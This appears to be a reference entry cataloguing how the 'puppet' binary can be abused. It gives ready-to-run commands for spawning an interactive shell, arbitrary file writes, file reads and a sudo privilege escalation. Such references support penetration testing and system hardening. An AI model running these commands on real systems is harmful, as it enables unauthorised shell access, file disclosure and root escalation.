Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

puppet apply -e "exec { '/bin/sh -c \"exec sh -i <$(tty) >$(tty) 2>$(tty)\"': }"

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

The file path must be absolute.

LFILE="/tmp/file_to_write"
puppet apply -e "file { '$LFILE': content => 'DATA' }"

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

The read file content is corrupted by the diff output format. The actual /usr/bin/diff command is executed.

LFILE=file_to_read
puppet filebucket -l diff /dev/null $LFILE

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

sudo puppet apply -e "exec { '/bin/sh -c \"exec sh -i <$(tty) >$(tty) 2>$(tty)\"': }"